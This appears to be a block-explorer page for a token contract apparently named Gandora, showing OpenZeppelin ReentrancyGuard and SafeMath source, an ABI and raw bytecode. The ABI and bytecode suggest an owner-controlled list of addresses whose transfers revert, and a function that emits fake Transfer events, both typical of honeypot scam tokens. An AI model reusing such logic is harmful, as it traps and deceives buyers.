 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

File 9 of 9: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"initialLPAddress","type":"address"},{"internalType":"address","name":"distributor_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_0x0elsetxLimitExcludedAddPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"alreadyClaimedByAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beforeStartBuffer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentOffset","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distilleryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ended","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"getTxLimitExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialLPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opener","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"contract IPondCoinSpawner","name":"spawner","type":"address"}],"name":"useSpawner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61012060405233600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000056620002f960201b60201c565b600a620000649190620006e2565b61271062000073919062000733565b60809081525062000089620002f960201b60201c565b600a620000979190620006e2565b612710620000a6919062000733565b60a090815250348015620000b957600080fd5b50604051620036d5380380620036d58339818101604052810190620000df9190620007e8565b6040518060400160405280600781526020017f47616e646f7261000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f47414e444f5241000000000000000000000000000000000000000000000000008152508280806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001ad620001a16200030260201b60201c565b6200030a60201b60201c565b508260089081620001bf919062000a9f565b508160099081620001d1919062000a9f565b506001600660006101000a81548160ff021916908315150217905550600160046000620002036200030260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002ac82608051620003d060201b60201c565b3373ffffffffffffffffffffffffffffffffffffffff166101008173ffffffffffffffffffffffffffffffffffffffff16815250504260c081815250504360e08181525050505062000c72565b60006009905090565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000442576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004399062000be7565b60405180910390fd5b62000456600083836200053e60201b60201c565b80600760008282546200046a919062000c09565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200051e919062000c55565b60405180910390a36200053a600083836200054360201b60201c565b5050565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005d657808604811115620005ae57620005ad62000548565b5b6001851615620005be5780820291505b8081029050620005ce8562000577565b94506200058e565b94509492505050565b600082620005f15760019050620006c4565b81620006015760009050620006c4565b81600181146200061a576002811462000625576200065b565b6001915050620006c4565b60ff8411156200063a576200063962000548565b5b8360020a91508482111562000654576200065362000548565b5b50620006c4565b5060208310610133831016604e8410600b8410161715620006955782820a9050838111156200068f576200068e62000548565b5b620006c4565b620006a4848484600162000584565b92509050818404811115620006be57620006bd62000548565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006ef82620006cb565b9150620006fc83620006d5565b92506200072b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005df565b905092915050565b60006200074082620006cb565b91506200074d83620006cb565b92508282026200075d81620006cb565b9150828204841483151762000777576200077662000548565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007b08262000783565b9050919050565b620007c281620007a3565b8114620007ce57600080fd5b50565b600081519050620007e281620007b7565b92915050565b600080604083850312156200080257620008016200077e565b5b60006200081285828601620007d1565b92505060206200082585828601620007d1565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008b157607f821691505b602082108103620008c757620008c662000869565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008f2565b6200093d8683620008f2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009806200097a6200097484620006cb565b62000955565b620006cb565b9050919050565b6000819050919050565b6200099c836200095f565b620009b4620009ab8262000987565b848454620008ff565b825550505050565b600090565b620009cb620009bc565b620009d881848462000991565b505050565b5b8181101562000a0057620009f4600082620009c1565b600181019050620009de565b5050565b601f82111562000a4f5762000a1981620008cd565b62000a2484620008e2565b8101602085101562000a34578190505b62000a4c62000a4385620008e2565b830182620009dd565b50505b505050565b600082821c905092915050565b600062000a746000198460080262000a54565b1980831691505092915050565b600062000a8f838362000a61565b9150826002028217905092915050565b62000aaa826200082f565b67ffffffffffffffff81111562000ac65762000ac56200083a565b5b62000ad2825462000898565b62000adf82828562000a04565b600060209050601f83116001811462000b17576000841562000b02578287015190505b62000b0e858262000a81565b86555062000b7e565b601f19841662000b2786620008cd565b60005b8281101562000b515784890151825560018201915060208501945060208101905062000b2a565b8683101562000b71578489015162000b6d601f89168262000a61565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000bcf601f8362000b86565b915062000bdc8262000b97565b602082019050919050565b6000602082019050818103600083015262000c028162000bc0565b9050919050565b600062000c1682620006cb565b915062000c2383620006cb565b925082820190508082111562000c3e5762000c3d62000548565b5b92915050565b62000c4f81620006cb565b82525050565b600060208201905062000c6c600083018462000c44565b92915050565b60805160a05160c05160e05161010051612a1762000cbe6000396000610c280152600081816107850152610de90152600061091f01526000610e7901526000610a960152612a176000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c8063715018a61161011a578063ad296d9d116100ad578063c2b7bbb61161007c578063c2b7bbb6146105f9578063d5abeb0114610615578063dd62ed3e14610633578063ebad8f1614610663578063f2fde38b1461066d57610206565b8063ad296d9d1461055f578063af13dca51461057b578063b7f4e899146105ab578063ba99e4c2146105c957610206565b806395d89b41116100e957806395d89b41146104c35780639c9b4cdb146104e1578063a457c2d7146104ff578063a9059cbb1461052f57610206565b8063715018a61461044d5780637c70f3bf146104575780638d981e36146104875780638da5cb5b146104a557610206565b806326ededb81161019d57806342a5880c1161016c57806342a5880c146103a7578063486d910f146103c557806349bd5a5e146103e15780634ed9428e146103ff57806370a082311461041d57610206565b806326ededb81461031f5780632d3e69ea1461033b578063313ce56714610359578063395093511461037757610206565b806318160ddd116101d957806318160ddd1461029557806319e99550146102b357806321f83c43146102d157806323b872dd146102ef57610206565b806306fdde031461020b5780630754617214610229578063095ea7b31461024757806312fa6feb14610277575b600080fd5b610213610689565b6040516102209190611cb6565b60405180910390f35b61023161071b565b60405161023e9190611d19565b60405180910390f35b610261600480360381019061025c9190611da0565b610741565b60405161026e9190611dfb565b60405180910390f35b61027f610764565b60405161028c9190611dfb565b60405180910390f35b61029d610777565b6040516102aa9190611e25565b60405180910390f35b6102bb610781565b6040516102c89190611e25565b60405180910390f35b6102d96107b4565b6040516102e69190611e25565b60405180910390f35b61030960048036038101906103049190611e40565b6107ba565b6040516103169190611dfb565b60405180910390f35b61033960048036038101906103349190611ef8565b6107e9565b005b6103436108c6565b6040516103509190611dfb565b60405180910390f35b6103616108dd565b60405161036e9190611f74565b60405180910390f35b610391600480360381019061038c9190611da0565b6108e6565b60405161039e9190611dfb565b60405180910390f35b6103af61091d565b6040516103bc9190611e25565b60405180910390f35b6103df60048036038101906103da9190611fcd565b610941565b005b6103e9610a6e565b6040516103f69190611d19565b60405180910390f35b610407610a94565b6040516104149190611e25565b60405180910390f35b6104376004803603810190610432919061200d565b610ab8565b6040516104449190611e25565b60405180910390f35b610455610b01565b005b610471600480360381019061046c9190612076565b610b15565b60405161047e9190611dfb565b60405180910390f35b61048f610b44565b60405161049c9190611d19565b60405180910390f35b6104ad610b6a565b6040516104ba9190611d19565b60405180910390f35b6104cb610b94565b6040516104d89190611cb6565b60405180910390f35b6104e9610c26565b6040516104f69190611d19565b60405180910390f35b61051960048036038101906105149190611da0565b610c4a565b6040516105269190611dfb565b60405180910390f35b61054960048036038101906105449190611da0565b610cc1565b6040516105569190611dfb565b60405180910390f35b610579600480360381019061057491906120e2565b610ce4565b005b6105956004803603810190610590919061200d565b610d91565b6040516105a29190611dfb565b60405180910390f35b6105b3610de7565b6040516105c09190611e25565b60405180910390f35b6105e360048036038101906105de919061200d565b610e0b565b6040516105f09190611dfb565b60405180910390f35b610613600480360381019061060e919061200d565b610e2b565b005b61061d610e77565b60405161062a9190611e25565b60405180910390f35b61064d60048036038101906106489190612142565b610e9b565b60405161065a9190611e25565b60405180910390f35b61066b610f22565b005b6106876004803603810190610682919061200d565b610f83565b005b606060088054610698906121b1565b80601f01602080910402602001604051908101604052809291908181526020018280546106c4906121b1565b80156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b5050505050905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061074c611006565b905061075981858561100e565b600191505092915050565b600e60009054906101000a900460ff1681565b6000600754905090565b60007f0000000000000000000000000000000000000000000000000000000000000000436107af9190612211565b905090565b61070881565b6000806107c5611006565b90506107d28582856111d7565b6107dd858585611263565b60019150509392505050565b6107f161189c565b60005b838390508110156108c05783838281811061081257610811612245565b5b9050602002016020810190610827919061200d565b73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a59190611e25565b60405180910390a380806108b890612274565b9150506107f4565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b6000806108f1611006565b90506109128185856109038589610e9b565b61090d91906122bc565b61100e565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61096e33600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846107ba565b6109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a49061233c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b81526004016109e892919061235c565b6020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b919061239a565b610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6190612413565b60405180910390fd5b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b0961189c565b610b13600061191a565b565b600d6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610ba3906121b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610bcf906121b1565b8015610c1c5780601f10610bf157610100808354040283529160200191610c1c565b820191906000526020600020905b815481529060010190602001808311610bff57829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080610c55611006565b90506000610c638286610e9b565b905083811015610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f906124a5565b60405180910390fd5b610cb5828686840361100e565b60019250505092915050565b600080610ccc611006565b9050610cd9818585611263565b600191505092915050565b610cec61189c565b60005b83839050811015610d8b578160036000868685818110610d1257610d11612245565b5b9050602002016020810190610d27919061200d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d8390612274565b915050610cef565b50505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60036020528060005260406000206000915054906101000a900460ff1681565b610e3361189c565b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f2a61189c565b60011515600660009054906101000a900460ff16151503610f65576000600660006101000a81548160ff021916908315150217905550610f81565b6001600660006101000a81548160ff0219169083151502179055505b565b610f8b61189c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612537565b60405180910390fd5b6110038161191a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361107d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611074906125c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e39061265b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ca9190611e25565b60405180910390a3505050565b60006111e38484610e9b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461125d578181101561124f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611246906126c7565b60405180910390fd5b61125c848484840361100e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906127eb565b60405180910390fd5b60008111611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b9061287d565b60405180910390fd5b61138e83826119e0565b5060011515600660009054906101000a900460ff16151514806113e357506113b4610b6a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061142057506113f1610b6a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561183557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114c85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611686576114d8838383611a04565b611544816040518060600160405280602681526020016129bc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116799190611e25565b60405180910390a3611830565b6116f2816040518060600160405280602681526020016129bc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061178781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118279190611e25565b60405180910390a35b61188c565b60011515600660009054906101000a900460ff1615151461188b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611882906128c3565b60405180910390fd5b5b611897838383611acb565b505050565b6118a4611006565b73ffffffffffffffffffffffffffffffffffffffff166118c2611ad0565b73ffffffffffffffffffffffffffffffffffffffff1614611918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190f9061292f565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006119eb83611ae4565b156119fa576119f982611b3a565b5b6001905092915050565b505050565b6000838311158290611a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a489190611cb6565b60405180910390fd5b5060008385611a609190612211565b9050809150509392505050565b6000808284611a7c91906122bc565b905083811015611ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab89061299b565b60405180910390fd5b8091505092915050565b505050565b600080611adb611b80565b90508091505090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008114611b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b74906128c3565b60405180910390fd5b50565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bff57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c21565b60008054906